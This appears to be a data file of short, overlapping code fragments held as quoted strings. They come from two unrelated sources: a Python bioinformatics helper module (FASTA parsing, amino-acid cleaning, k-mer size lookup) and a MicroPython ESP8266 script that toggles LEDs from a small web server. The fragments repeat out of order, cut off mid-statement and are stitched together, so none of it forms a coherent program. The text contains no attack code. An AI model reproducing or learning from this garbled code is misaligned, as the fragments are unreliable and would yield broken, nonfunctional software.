kmer size from the", "\"\"\" This function reads a fasta file Parameters ---------- fasta file path: string", "amino_chosen = np.random.choice([\"N\", \"D\"], 1, p=[0.5, 0.5])[0] elif aa == \"Z\": amino_chosen =", "line_count > 0 else None protein_seq = \"\" # renew sequence everytime fasta", "\"Y\", \"V\"])[0] else: amino_chosen = aa seq_list.append(amino_chosen) return ''.join(seq_list) #+ input_seq[kmer_size+1:] def readFasta(fasta_file_path:", "basic operations. \"\"\" # std pkgs import numpy as np import random from", "= np.random.choice([\"N\", \"D\"], 1, p=[0.5, 0.5])[0] elif aa == \"Z\": amino_chosen = np.random.choice([\"Q\",", "readFasta(fasta_file_path: Union[str, Path]): \"\"\" This function reads a fasta file Parameters ---------- fasta", "import Dict, List, Optional, Union from pathlib import Path import pickle # non-std", "for line_count, fasta_line in enumerate(fasta_file_array): if (fasta_line[0] == \">\"): name = fasta_line.strip(\"\\n\") protein_names.append(name)", "compatible with the precomputed hash table. \"\"\" seq_list = [] for aa in", "with the precomputed hash table. \"\"\" seq_list = [] for aa in input_seq:", "\"L\", \"K\", \"M\", \"F\", \"P\", \"S\", \"T\", \"W\", \"Y\", \"V\"])[0] else: amino_chosen =", "# non-std pkgs import matplotlib.pyplot as plt def hamming_dist(k1, k2): val = 0", "1 return val def clean_input_sequences(input_seq): \"\"\" This method cleans all input sequences to", "\"S\", \"T\", \"W\", \"Y\", \"V\"])[0] else: amino_chosen = aa seq_list.append(amino_chosen) return ''.join(seq_list) #+", "\"D\"], 1, p=[0.5, 0.5])[0] elif aa == \"Z\": amino_chosen = np.random.choice([\"Q\", \"E\"], 1,", "\"K\", \"M\", \"F\", \"P\", \"S\", \"T\", \"W\", \"Y\", \"V\"]: print(aa) if aa ==", "\">\"): name = fasta_line.strip(\"\\n\") protein_names.append(name) proteins.append(protein_seq) if line_count > 0 else None protein_seq", "fasta name is added. else: protein_seq += fasta_line.strip(\"\\n\") proteins.append(protein_seq) return proteins, protein_names def", "int: \"\"\" This function extracts the kmer size from the hash table. \"\"\"", "\"\"\" # std pkgs import numpy as np import random from typing import", "np.random.choice([\"N\", \"D\"], 1, p=[0.5, 0.5])[0] elif aa == \"Z\": amino_chosen = np.random.choice([\"Q\", \"E\"],", "amino_chosen = np.random.choice([\"L\", \"I\"], 1, p=[0.5, 0.5])[0] elif aa == \"X\": amino_chosen =", "protein_names = [], [] with open(fasta_file_path) as fasta_file: fasta_file_array = fasta_file.readlines() for line_count,", "elif aa == \"B\": amino_chosen = np.random.choice([\"N\", \"D\"], 1, p=[0.5, 0.5])[0] elif aa", "Path]): \"\"\" This function reads a fasta file Parameters ---------- fasta file path:", "in enumerate(fasta_file_array): if (fasta_line[0] == \">\"): name = fasta_line.strip(\"\\n\") protein_names.append(name) proteins.append(protein_seq) if line_count", "\"W\", \"Y\", \"V\"]: print(aa) if aa == \"*\": amino_chosen = \"G\" elif aa", "protein_names.append(name) proteins.append(protein_seq) if line_count > 0 else None protein_seq = \"\" # renew", "\"C\", \"Q\", \"E\", \"G\", \"H\", \"I\", \"L\", \"K\", \"M\", \"F\", \"P\", \"S\", \"T\",", "import matplotlib.pyplot as plt def hamming_dist(k1, k2): val = 0 for ind, char", "protein names (ordered) \"\"\" proteins, protein_names = [], [] with open(fasta_file_path) as fasta_file:", "This function reads a fasta file Parameters ---------- fasta file path: string OR", "1, p=[0.5, 0.5])[0] elif aa == \"X\": amino_chosen = random.choice([\"A\", \"R\", \"N\", \"D\",", "\"M\", \"F\", \"P\", \"S\", \"T\", \"W\", \"Y\", \"V\"]: print(aa) if aa == \"*\":", "import numpy as np import random from typing import Dict, List, Optional, Union", "\"K\", \"M\", \"F\", \"P\", \"S\", \"T\", \"W\", \"Y\", \"V\"])[0] else: amino_chosen = aa", "else None protein_seq = \"\" # renew sequence everytime fasta name is added.", "module contains methods/objects that facilitate basic operations. \"\"\" # std pkgs import numpy", "amino_chosen = aa seq_list.append(amino_chosen) return ''.join(seq_list) #+ input_seq[kmer_size+1:] def readFasta(fasta_file_path: Union[str, Path]): \"\"\"", "[\"A\", \"R\", \"N\", \"D\", \"C\", \"Q\", \"E\", \"G\", \"H\", \"I\", \"L\", \"K\", \"M\",", "\"E\", \"G\", \"H\", \"I\", \"L\", \"K\", \"M\", \"F\", \"P\", \"S\", \"T\", \"W\", \"Y\",", "return proteins, protein_names def get_kmer_size(hash_table) -> int: \"\"\" This function extracts the kmer", "# std pkgs import numpy as np import random from typing import Dict,", "aa == \"Z\": amino_chosen = np.random.choice([\"Q\", \"E\"], 1, p=[0.5, 0.5])[0] elif aa ==", "function reads a fasta file Parameters ---------- fasta file path: string OR Path", "line_count, fasta_line in enumerate(fasta_file_array): if (fasta_line[0] == \">\"): name = fasta_line.strip(\"\\n\") protein_names.append(name) proteins.append(protein_seq)", "sequences to ensure they will be compatible with the precomputed hash table. \"\"\"", "\"E\"], 1, p=[0.5, 0.5])[0] elif aa == \"J\": amino_chosen = np.random.choice([\"L\", \"I\"], 1,", "\"B\": amino_chosen = np.random.choice([\"N\", \"D\"], 1, p=[0.5, 0.5])[0] elif aa == \"Z\": amino_chosen", "# renew sequence everytime fasta name is added. else: protein_seq += fasta_line.strip(\"\\n\") proteins.append(protein_seq)", "0 else None protein_seq = \"\" # renew sequence everytime fasta name is", "p=[0.5, 0.5])[0] elif aa == \"J\": amino_chosen = np.random.choice([\"L\", \"I\"], 1, p=[0.5, 0.5])[0]", "\"F\", \"P\", \"S\", \"T\", \"W\", \"Y\", \"V\"]: print(aa) if aa == \"*\": amino_chosen", "This method cleans all input sequences to ensure they will be compatible with", "kmer size from the hash table. \"\"\" kmer_size = 0 with open(hash_table, \"rb\")", "kmer_size = 0 with open(hash_table, \"rb\") as hash_tb: hash = pickle.load(hash_tb) kmer_size =", "input_seq[kmer_size+1:] def readFasta(fasta_file_path: Union[str, Path]): \"\"\" This function reads a fasta file Parameters", "proteins.append(protein_seq) return proteins, protein_names def get_kmer_size(hash_table) -> int: \"\"\" This function extracts the", "\"\"\" seq_list = [] for aa in input_seq: if aa not in [\"A\",", "1, p=[0.5, 0.5])[0] elif aa == \"Z\": amino_chosen = np.random.choice([\"Q\", \"E\"], 1, p=[0.5,", ": array of protein names (ordered) \"\"\" proteins, protein_names = [], [] with", "names (ordered) \"\"\" proteins, protein_names = [], [] with open(fasta_file_path) as fasta_file: fasta_file_array", "hash table. \"\"\" kmer_size = 0 with open(hash_table, \"rb\") as hash_tb: hash =", "if aa not in [\"A\", \"R\", \"N\", \"D\", \"C\", \"Q\", \"E\", \"G\", \"H\",", "fasta file path: string OR Path Returns ------- proteins : array of protein", "\"R\", \"N\", \"D\", \"C\", \"Q\", \"E\", \"G\", \"H\", \"I\", \"L\", \"K\", \"M\", \"F\",", "\"H\", \"I\", \"L\", \"K\", \"M\", \"F\", \"P\", \"S\", \"T\", \"W\", \"Y\", \"V\"])[0] else:", "p=[0.5, 0.5])[0] elif aa == \"Z\": amino_chosen = np.random.choice([\"Q\", \"E\"], 1, p=[0.5, 0.5])[0]", "of protein sequence (ordered) protein_names : array of protein names (ordered) \"\"\" proteins,", "\"Y\", \"V\"]: print(aa) if aa == \"*\": amino_chosen = \"G\" elif aa ==", "> 0 else None protein_seq = \"\" # renew sequence everytime fasta name", "name is added. else: protein_seq += fasta_line.strip(\"\\n\") proteins.append(protein_seq) return proteins, protein_names def get_kmer_size(hash_table)", "from the hash table. \"\"\" kmer_size = 0 with open(hash_table, \"rb\") as hash_tb:", "if line_count > 0 else None protein_seq = \"\" # renew sequence everytime", "fasta_file.readlines() for line_count, fasta_line in enumerate(fasta_file_array): if (fasta_line[0] == \">\"): name = fasta_line.strip(\"\\n\")", "== \">\"): name = fasta_line.strip(\"\\n\") protein_names.append(name) proteins.append(protein_seq) if line_count > 0 else None", "in [\"A\", \"R\", \"N\", \"D\", \"C\", \"Q\", \"E\", \"G\", \"H\", \"I\", \"L\", \"K\",", "0.5])[0] elif aa == \"X\": amino_chosen = random.choice([\"A\", \"R\", \"N\", \"D\", \"C\", \"Q\",", "0.5])[0] elif aa == \"J\": amino_chosen = np.random.choice([\"L\", \"I\"], 1, p=[0.5, 0.5])[0] elif", "= \"\" # renew sequence everytime fasta name is added. else: protein_seq +=", "import Path import pickle # non-std pkgs import matplotlib.pyplot as plt def hamming_dist(k1,", "None protein_seq = \"\" # renew sequence everytime fasta name is added. else:", "ensure they will be compatible with the precomputed hash table. \"\"\" seq_list =", "\"D\", \"C\", \"Q\", \"E\", \"G\", \"H\", \"I\", \"L\", \"K\", \"M\", \"F\", \"P\", \"S\",", "np import random from typing import Dict, List, Optional, Union from pathlib import", "[], [] with open(fasta_file_path) as fasta_file: fasta_file_array = fasta_file.readlines() for line_count, fasta_line in", "Returns ------- proteins : array of protein sequence (ordered) protein_names : array of", "std pkgs import numpy as np import random from typing import Dict, List,", "= random.choice([\"A\", \"R\", \"N\", \"D\", \"C\", \"Q\", \"E\", \"G\", \"H\", \"I\", \"L\", \"K\",", "print(aa) if aa == \"*\": amino_chosen = \"G\" elif aa == \"B\": amino_chosen", "with open(hash_table, \"rb\") as hash_tb: hash = pickle.load(hash_tb) kmer_size = len(list(hash.keys())[0]) return kmer_size", "as plt def hamming_dist(k1, k2): val = 0 for ind, char in enumerate(k1):", "hamming_dist(k1, k2): val = 0 for ind, char in enumerate(k1): if char !=", "amino_chosen = np.random.choice([\"Q\", \"E\"], 1, p=[0.5, 0.5])[0] elif aa == \"J\": amino_chosen =", "== \"J\": amino_chosen = np.random.choice([\"L\", \"I\"], 1, p=[0.5, 0.5])[0] elif aa == \"X\":", "all input sequences to ensure they will be compatible with the precomputed hash", "\"G\", \"H\", \"I\", \"L\", \"K\", \"M\", \"F\", \"P\", \"S\", \"T\", \"W\", \"Y\", \"V\"]:", "\"W\", \"Y\", \"V\"])[0] else: amino_chosen = aa seq_list.append(amino_chosen) return ''.join(seq_list) #+ input_seq[kmer_size+1:] def", "''.join(seq_list) #+ input_seq[kmer_size+1:] def readFasta(fasta_file_path: Union[str, Path]): \"\"\" This function reads a fasta", "return val def clean_input_sequences(input_seq): \"\"\" This method cleans all input sequences to ensure", "enumerate(fasta_file_array): if (fasta_line[0] == \">\"): name = fasta_line.strip(\"\\n\") protein_names.append(name) proteins.append(protein_seq) if line_count >", "= [], [] with open(fasta_file_path) as fasta_file: fasta_file_array = fasta_file.readlines() for line_count, fasta_line", "size from the hash table. \"\"\" kmer_size = 0 with open(hash_table, \"rb\") as", "\"\"\" This module contains methods/objects that facilitate basic operations. \"\"\" # std pkgs", "aa in input_seq: if aa not in [\"A\", \"R\", \"N\", \"D\", \"C\", \"Q\",", "Optional, Union from pathlib import Path import pickle # non-std pkgs import matplotlib.pyplot", "== \"X\": amino_chosen = random.choice([\"A\", \"R\", \"N\", \"D\", \"C\", \"Q\", \"E\", \"G\", \"H\",", "seq_list.append(amino_chosen) return ''.join(seq_list) #+ input_seq[kmer_size+1:] def readFasta(fasta_file_path: Union[str, Path]): \"\"\" This function reads", "\"\"\" This method cleans all input sequences to ensure they will be compatible", "This function extracts the kmer size from the hash table. \"\"\" kmer_size =", "= np.random.choice([\"L\", \"I\"], 1, p=[0.5, 0.5])[0] elif aa == \"X\": amino_chosen = random.choice([\"A\",", "with open(fasta_file_path) as fasta_file: fasta_file_array = fasta_file.readlines() for line_count, fasta_line in enumerate(fasta_file_array): if", "as fasta_file: fasta_file_array = fasta_file.readlines() for line_count, fasta_line in enumerate(fasta_file_array): if (fasta_line[0] ==", "amino_chosen = \"G\" elif aa == \"B\": amino_chosen = np.random.choice([\"N\", \"D\"], 1, p=[0.5,", "#+ input_seq[kmer_size+1:] def readFasta(fasta_file_path: Union[str, Path]): \"\"\" This function reads a fasta file", "pathlib import Path import pickle # non-std pkgs import matplotlib.pyplot as plt def", "0.5])[0] elif aa == \"Z\": amino_chosen = np.random.choice([\"Q\", \"E\"], 1, p=[0.5, 0.5])[0] elif" ]
[ "Pin # 读取WEB页面代码文件 htmls = open(\"ESP8266/WIFI/httpcc/WebKZ.html\") html= htmls.read() #此处直接由文件读取,如果直接在此处写入页面代码,须使用 ''' ''' 将代码包含,否则无法显示 htmls.close()", "#此处直接由文件读取,如果直接在此处写入页面代码,须使用 ''' ''' 将代码包含,否则无法显示 htmls.close() #Wemos Dpin to GPIO #D1->GPIO5 ---- 红色 #D2->GPIO4", "if CMD_allon == 6: print('+allon') allOn() if CMD_red == 6: print('+red') redOnly() if", "6: print('+allon') allOn() if CMD_red == 6: print('+red') redOnly() if CMD_blue == 6:", "str(CMD_alloff)) if CMD_grean == 6: #如果此命令有效,下同 print('+grean') greanOnly() #调用仅点亮绿灯函数,下同 if CMD_allon == 6:", "V0.10 创建文件 ******************************************************************************''' from ESP8266.WIFI.httpcc import netConnect # 此处引用为获取netConnect文件中的全局变量“wlan”。 import socket from machine", "2018年5月8日 <NAME> V0.10 创建文件 ******************************************************************************''' from ESP8266.WIFI.httpcc import netConnect # 此处引用为获取netConnect文件中的全局变量“wlan”。 import socket", "全关 def allOff(): ledBlue.off() ledGrean.off() ledRed.off() port=80 listenSocket=None ip=netConnect.wlan.ifconfig()[0] listenSocket = socket.socket() #建立一个实例", "if CMD_blue == 6: print('+blue') blueOnly() if CMD_alloff == 6: print('+alloff') allOff() response", "# 全开 def allOn(): ledBlue.on() ledGrean.on() ledRed.on() # 只亮红色 def redOnly(): ledBlue.off() ledGrean.off()", "import netConnect # 此处引用为获取netConnect文件中的全局变量“wlan”。 import socket from machine import Pin # 读取WEB页面代码文件 htmls", "listenSocket = socket.socket() #建立一个实例 listenSocket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) listenSocket.bind((ip,port)) #绑定建立网路连接的ip地址和端口 listenSocket.listen(5) #开始侦听 print ('等待TCP连接...')", "CMD_allon == 6: print('+allon') allOn() if CMD_red == 6: print('+red') redOnly() if CMD_blue", "request.find('/?CMD=bluelight') CMD_alloff = request.find('/?CMD=alloff') print(\"Data: \" + str(CMD_grean)) print(\"Data: \" + str(CMD_allon)) print(\"Data:", "str(CMD_blue)) print(\"Data: \" + str(CMD_alloff)) if CMD_grean == 6: #如果此命令有效,下同 print('+grean') greanOnly() #调用仅点亮绿灯函数,下同", "if CMD_grean == 6: #如果此命令有效,下同 print('+grean') greanOnly() #调用仅点亮绿灯函数,下同 if CMD_allon == 6: print('+allon')", "蓝色 ledGrean = Pin(4, Pin.OUT) # 绿色 ledRed = Pin(5, Pin.OUT) # 红色", "% str(addr)) request = conn.recv(1024) print(\"内容: %s\" % str(request)) request = str(request) CMD_grean", "<gh_stars>1-10 # -*- coding: UTF-8 -*- u''' ****************************************************************************** * 文 件:WebControl.py * 概", "ledBlue = Pin(14, Pin.OUT) # 蓝色 ledGrean = Pin(4, Pin.OUT) # 绿色 ledRed", "Pin(5, Pin.OUT) # 红色 # 只亮绿色 def greanOnly(): ledBlue.off() ledGrean.on() ledRed.off() # 全开", "= Pin(4, Pin.OUT) # 绿色 ledRed = Pin(5, Pin.OUT) # 红色 # 只亮绿色", "if CMD_alloff == 6: print('+alloff') allOff() response = html #将html的网页定义装载在回应字段 conn.send(response) #send到浏览器上,就形成了控制界面 conn.close()", "greanOnly(): ledBlue.off() ledGrean.on() ledRed.off() # 全开 def allOn(): ledBlue.on() ledGrean.on() ledRed.on() # 只亮红色", "\" + str(CMD_grean)) print(\"Data: \" + str(CMD_allon)) print(\"Data: \" + str(CMD_red)) print(\"Data: \"", "# 绿色 ledRed = Pin(5, Pin.OUT) # 红色 # 只亮绿色 def greanOnly(): ledBlue.off()", "#如果此命令有效,下同 print('+grean') greanOnly() #调用仅点亮绿灯函数,下同 if CMD_allon == 6: print('+allon') allOn() if CMD_red ==", "---- 蓝色 ledBlue = Pin(14, Pin.OUT) # 蓝色 ledGrean = Pin(4, Pin.OUT) #", "import socket from machine import Pin # 读取WEB页面代码文件 htmls = open(\"ESP8266/WIFI/httpcc/WebKZ.html\") html= htmls.read()", "****************************************************************************** * 文 件:WebControl.py * 概 述:Web页面控制设备 * 版 本:V0.10 * 作 者:<NAME>", "绿色 #D5->GPIO14 ---- 蓝色 ledBlue = Pin(14, Pin.OUT) # 蓝色 ledGrean = Pin(4,", "listenSocket.accept() print(\"已连接 %s\" % str(addr)) request = conn.recv(1024) print(\"内容: %s\" % str(request)) request", "from ESP8266.WIFI.httpcc import netConnect # 此处引用为获取netConnect文件中的全局变量“wlan”。 import socket from machine import Pin #", "% str(request)) request = str(request) CMD_grean = request.find('/?CMD=greenlight') #如果在请求的包中,发现有?CMD=greenlight,下同 CMD_allon = request.find('/?CMD=allon') CMD_red", "历 史: 日期 编辑 版本 记录 2018年5月8日 <NAME> V0.10 创建文件 ******************************************************************************''' from ESP8266.WIFI.httpcc", "6: print('+blue') blueOnly() if CMD_alloff == 6: print('+alloff') allOff() response = html #将html的网页定义装载在回应字段", "# -*- coding: UTF-8 -*- u''' ****************************************************************************** * 文 件:WebControl.py * 概 述:Web页面控制设备", "+ str(CMD_grean)) print(\"Data: \" + str(CMD_allon)) print(\"Data: \" + str(CMD_red)) print(\"Data: \" +", "%s\" % str(request)) request = str(request) CMD_grean = request.find('/?CMD=greenlight') #如果在请求的包中,发现有?CMD=greenlight,下同 CMD_allon = request.find('/?CMD=allon')", "ESP8266.WIFI.httpcc import netConnect # 此处引用为获取netConnect文件中的全局变量“wlan”。 import socket from machine import Pin # 读取WEB页面代码文件", "listenSocket.bind((ip,port)) #绑定建立网路连接的ip地址和端口 listenSocket.listen(5) #开始侦听 print ('等待TCP连接...') while True: print(\"连接中.....\") conn, addr = listenSocket.accept()", "ledBlue.off() ledGrean.off() ledRed.on() # 只亮蓝色 def blueOnly(): ledBlue.on() ledGrean.off() ledRed.off() # 全关 def", "request = str(request) CMD_grean = request.find('/?CMD=greenlight') #如果在请求的包中,发现有?CMD=greenlight,下同 CMD_allon = request.find('/?CMD=allon') CMD_red = request.find('/?CMD=redlight')", "#D2->GPIO4 ---- 绿色 #D5->GPIO14 ---- 蓝色 ledBlue = Pin(14, Pin.OUT) # 蓝色 ledGrean", "* 版 本:V0.10 * 作 者:<NAME> * 日 期:2018年5月8日 * 历 史: 日期", "-*- coding: UTF-8 -*- u''' ****************************************************************************** * 文 件:WebControl.py * 概 述:Web页面控制设备 *", "#调用仅点亮绿灯函数,下同 if CMD_allon == 6: print('+allon') allOn() if CMD_red == 6: print('+red') redOnly()", "ledGrean.off() ledRed.on() # 只亮蓝色 def blueOnly(): ledBlue.on() ledGrean.off() ledRed.off() # 全关 def allOff():", "创建文件 ******************************************************************************''' from ESP8266.WIFI.httpcc import netConnect # 此处引用为获取netConnect文件中的全局变量“wlan”。 import socket from machine import", "绿色 ledRed = Pin(5, Pin.OUT) # 红色 # 只亮绿色 def greanOnly(): ledBlue.off() ledGrean.on()", "ledGrean.on() ledRed.off() # 全开 def allOn(): ledBlue.on() ledGrean.on() ledRed.on() # 只亮红色 def redOnly():", "CMD_alloff = request.find('/?CMD=alloff') print(\"Data: \" + str(CMD_grean)) print(\"Data: \" + str(CMD_allon)) print(\"Data: \"", "#Wemos Dpin to GPIO #D1->GPIO5 ---- 红色 #D2->GPIO4 ---- 绿色 #D5->GPIO14 ---- 蓝色", "addr = listenSocket.accept() print(\"已连接 %s\" % str(addr)) request = conn.recv(1024) print(\"内容: %s\" %", "\" + str(CMD_blue)) print(\"Data: \" + str(CMD_alloff)) if CMD_grean == 6: #如果此命令有效,下同 print('+grean')", "str(CMD_allon)) print(\"Data: \" + str(CMD_red)) print(\"Data: \" + str(CMD_blue)) print(\"Data: \" + str(CMD_alloff))", "\" + str(CMD_red)) print(\"Data: \" + str(CMD_blue)) print(\"Data: \" + str(CMD_alloff)) if CMD_grean", "= request.find('/?CMD=allon') CMD_red = request.find('/?CMD=redlight') CMD_blue = request.find('/?CMD=bluelight') CMD_alloff = request.find('/?CMD=alloff') print(\"Data: \"", "ip=netConnect.wlan.ifconfig()[0] listenSocket = socket.socket() #建立一个实例 listenSocket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) listenSocket.bind((ip,port)) #绑定建立网路连接的ip地址和端口 listenSocket.listen(5) #开始侦听 print", "if CMD_red == 6: print('+red') redOnly() if CMD_blue == 6: print('+blue') blueOnly() if", "全开 def allOn(): ledBlue.on() ledGrean.on() ledRed.on() # 只亮红色 def redOnly(): ledBlue.off() ledGrean.off() ledRed.on()", "conn.recv(1024) print(\"内容: %s\" % str(request)) request = str(request) CMD_grean = request.find('/?CMD=greenlight') #如果在请求的包中,发现有?CMD=greenlight,下同 CMD_allon", "== 6: print('+blue') blueOnly() if CMD_alloff == 6: print('+alloff') allOff() response = html", "# 只亮绿色 def greanOnly(): ledBlue.off() ledGrean.on() ledRed.off() # 全开 def allOn(): ledBlue.on() ledGrean.on()", "htmls.read() #此处直接由文件读取,如果直接在此处写入页面代码,须使用 ''' ''' 将代码包含,否则无法显示 htmls.close() #Wemos Dpin to GPIO #D1->GPIO5 ---- 红色", "记录 2018年5月8日 <NAME> V0.10 创建文件 ******************************************************************************''' from ESP8266.WIFI.httpcc import netConnect # 此处引用为获取netConnect文件中的全局变量“wlan”。 import", "%s\" % str(addr)) request = conn.recv(1024) print(\"内容: %s\" % str(request)) request = str(request)", "6: print('+red') redOnly() if CMD_blue == 6: print('+blue') blueOnly() if CMD_alloff == 6:", "('等待TCP连接...') while True: print(\"连接中.....\") conn, addr = listenSocket.accept() print(\"已连接 %s\" % str(addr)) request", "---- 红色 #D2->GPIO4 ---- 绿色 #D5->GPIO14 ---- 蓝色 ledBlue = Pin(14, Pin.OUT) #", "红色 #D2->GPIO4 ---- 绿色 #D5->GPIO14 ---- 蓝色 ledBlue = Pin(14, Pin.OUT) # 蓝色", "# 只亮红色 def redOnly(): ledBlue.off() ledGrean.off() ledRed.on() # 只亮蓝色 def blueOnly(): ledBlue.on() ledGrean.off()", "ledRed.off() # 全关 def allOff(): ledBlue.off() ledGrean.off() ledRed.off() port=80 listenSocket=None ip=netConnect.wlan.ifconfig()[0] listenSocket =", "True: print(\"连接中.....\") conn, addr = listenSocket.accept() print(\"已连接 %s\" % str(addr)) request = conn.recv(1024)", "+ str(CMD_blue)) print(\"Data: \" + str(CMD_alloff)) if CMD_grean == 6: #如果此命令有效,下同 print('+grean') greanOnly()", "print ('等待TCP连接...') while True: print(\"连接中.....\") conn, addr = listenSocket.accept() print(\"已连接 %s\" % str(addr))", "print(\"连接中.....\") conn, addr = listenSocket.accept() print(\"已连接 %s\" % str(addr)) request = conn.recv(1024) print(\"内容:", "CMD_blue == 6: print('+blue') blueOnly() if CMD_alloff == 6: print('+alloff') allOff() response =", "print(\"内容: %s\" % str(request)) request = str(request) CMD_grean = request.find('/?CMD=greenlight') #如果在请求的包中,发现有?CMD=greenlight,下同 CMD_allon =", "ledBlue.on() ledGrean.off() ledRed.off() # 全关 def allOff(): ledBlue.off() ledGrean.off() ledRed.off() port=80 listenSocket=None ip=netConnect.wlan.ifconfig()[0]", "#D1->GPIO5 ---- 红色 #D2->GPIO4 ---- 绿色 #D5->GPIO14 ---- 蓝色 ledBlue = Pin(14, Pin.OUT)", "''' ''' 将代码包含,否则无法显示 htmls.close() #Wemos Dpin to GPIO #D1->GPIO5 ---- 红色 #D2->GPIO4 ----", "= request.find('/?CMD=bluelight') CMD_alloff = request.find('/?CMD=alloff') print(\"Data: \" + str(CMD_grean)) print(\"Data: \" + str(CMD_allon))", "者:<NAME> * 日 期:2018年5月8日 * 历 史: 日期 编辑 版本 记录 2018年5月8日 <NAME>", "CMD_grean == 6: #如果此命令有效,下同 print('+grean') greanOnly() #调用仅点亮绿灯函数,下同 if CMD_allon == 6: print('+allon') allOn()", "ledGrean.off() ledRed.off() # 全关 def allOff(): ledBlue.off() ledGrean.off() ledRed.off() port=80 listenSocket=None ip=netConnect.wlan.ifconfig()[0] listenSocket", "== 6: #如果此命令有效,下同 print('+grean') greanOnly() #调用仅点亮绿灯函数,下同 if CMD_allon == 6: print('+allon') allOn() if", "Dpin to GPIO #D1->GPIO5 ---- 红色 #D2->GPIO4 ---- 绿色 #D5->GPIO14 ---- 蓝色 ledBlue", "ledGrean = Pin(4, Pin.OUT) # 绿色 ledRed = Pin(5, Pin.OUT) # 红色 #", "netConnect # 此处引用为获取netConnect文件中的全局变量“wlan”。 import socket from machine import Pin # 读取WEB页面代码文件 htmls =", "# 蓝色 ledGrean = Pin(4, Pin.OUT) # 绿色 ledRed = Pin(5, Pin.OUT) #", "def blueOnly(): ledBlue.on() ledGrean.off() ledRed.off() # 全关 def allOff(): ledBlue.off() ledGrean.off() ledRed.off() port=80", "= socket.socket() #建立一个实例 listenSocket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) listenSocket.bind((ip,port)) #绑定建立网路连接的ip地址和端口 listenSocket.listen(5) #开始侦听 print ('等待TCP连接...') while", "request.find('/?CMD=redlight') CMD_blue = request.find('/?CMD=bluelight') CMD_alloff = request.find('/?CMD=alloff') print(\"Data: \" + str(CMD_grean)) print(\"Data: \"", "将代码包含,否则无法显示 htmls.close() #Wemos Dpin to GPIO #D1->GPIO5 ---- 红色 #D2->GPIO4 ---- 绿色 #D5->GPIO14", "ledBlue.off() ledGrean.on() ledRed.off() # 全开 def allOn(): ledBlue.on() ledGrean.on() ledRed.on() # 只亮红色 def", "#开始侦听 print ('等待TCP连接...') while True: print(\"连接中.....\") conn, addr = listenSocket.accept() print(\"已连接 %s\" %", "只亮绿色 def greanOnly(): ledBlue.off() ledGrean.on() ledRed.off() # 全开 def allOn(): ledBlue.on() ledGrean.on() ledRed.on()", "# 全关 def allOff(): ledBlue.off() ledGrean.off() ledRed.off() port=80 listenSocket=None ip=netConnect.wlan.ifconfig()[0] listenSocket = socket.socket()", "日 期:2018年5月8日 * 历 史: 日期 编辑 版本 记录 2018年5月8日 <NAME> V0.10 创建文件", "UTF-8 -*- u''' ****************************************************************************** * 文 件:WebControl.py * 概 述:Web页面控制设备 * 版 本:V0.10", "machine import Pin # 读取WEB页面代码文件 htmls = open(\"ESP8266/WIFI/httpcc/WebKZ.html\") html= htmls.read() #此处直接由文件读取,如果直接在此处写入页面代码,须使用 ''' '''", "ledGrean.on() ledRed.on() # 只亮红色 def redOnly(): ledBlue.off() ledGrean.off() ledRed.on() # 只亮蓝色 def blueOnly():", "只亮蓝色 def blueOnly(): ledBlue.on() ledGrean.off() ledRed.off() # 全关 def allOff(): ledBlue.off() ledGrean.off() ledRed.off()", "ledBlue.off() ledGrean.off() ledRed.off() port=80 listenSocket=None ip=netConnect.wlan.ifconfig()[0] listenSocket = socket.socket() #建立一个实例 listenSocket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)", "红色 # 只亮绿色 def greanOnly(): ledBlue.off() ledGrean.on() ledRed.off() # 全开 def allOn(): ledBlue.on()", "print('+red') redOnly() if CMD_blue == 6: print('+blue') blueOnly() if CMD_alloff == 6: print('+alloff')", "GPIO #D1->GPIO5 ---- 红色 #D2->GPIO4 ---- 绿色 #D5->GPIO14 ---- 蓝色 ledBlue = Pin(14,", "greanOnly() #调用仅点亮绿灯函数,下同 if CMD_allon == 6: print('+allon') allOn() if CMD_red == 6: print('+red')", "print('+grean') greanOnly() #调用仅点亮绿灯函数,下同 if CMD_allon == 6: print('+allon') allOn() if CMD_red == 6:", "str(request) CMD_grean = request.find('/?CMD=greenlight') #如果在请求的包中,发现有?CMD=greenlight,下同 CMD_allon = request.find('/?CMD=allon') CMD_red = request.find('/?CMD=redlight') CMD_blue =", "编辑 版本 记录 2018年5月8日 <NAME> V0.10 创建文件 ******************************************************************************''' from ESP8266.WIFI.httpcc import netConnect #", "= open(\"ESP8266/WIFI/httpcc/WebKZ.html\") html= htmls.read() #此处直接由文件读取,如果直接在此处写入页面代码,须使用 ''' ''' 将代码包含,否则无法显示 htmls.close() #Wemos Dpin to GPIO", "* 历 史: 日期 编辑 版本 记录 2018年5月8日 <NAME> V0.10 创建文件 ******************************************************************************''' from", "+ str(CMD_red)) print(\"Data: \" + str(CMD_blue)) print(\"Data: \" + str(CMD_alloff)) if CMD_grean ==", "print(\"Data: \" + str(CMD_blue)) print(\"Data: \" + str(CMD_alloff)) if CMD_grean == 6: #如果此命令有效,下同", "conn, addr = listenSocket.accept() print(\"已连接 %s\" % str(addr)) request = conn.recv(1024) print(\"内容: %s\"", "print(\"Data: \" + str(CMD_alloff)) if CMD_grean == 6: #如果此命令有效,下同 print('+grean') greanOnly() #调用仅点亮绿灯函数,下同 if", "版本 记录 2018年5月8日 <NAME> V0.10 创建文件 ******************************************************************************''' from ESP8266.WIFI.httpcc import netConnect # 此处引用为获取netConnect文件中的全局变量“wlan”。", "ledGrean.off() ledRed.off() port=80 listenSocket=None ip=netConnect.wlan.ifconfig()[0] listenSocket = socket.socket() #建立一个实例 listenSocket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) listenSocket.bind((ip,port))", "件:WebControl.py * 概 述:Web页面控制设备 * 版 本:V0.10 * 作 者:<NAME> * 日 期:2018年5月8日", "+ str(CMD_alloff)) if CMD_grean == 6: #如果此命令有效,下同 print('+grean') greanOnly() #调用仅点亮绿灯函数,下同 if CMD_allon ==", "ledRed = Pin(5, Pin.OUT) # 红色 # 只亮绿色 def greanOnly(): ledBlue.off() ledGrean.on() ledRed.off()", "此处引用为获取netConnect文件中的全局变量“wlan”。 import socket from machine import Pin # 读取WEB页面代码文件 htmls = open(\"ESP8266/WIFI/httpcc/WebKZ.html\") html=", "request.find('/?CMD=allon') CMD_red = request.find('/?CMD=redlight') CMD_blue = request.find('/?CMD=bluelight') CMD_alloff = request.find('/?CMD=alloff') print(\"Data: \" +", "str(CMD_red)) print(\"Data: \" 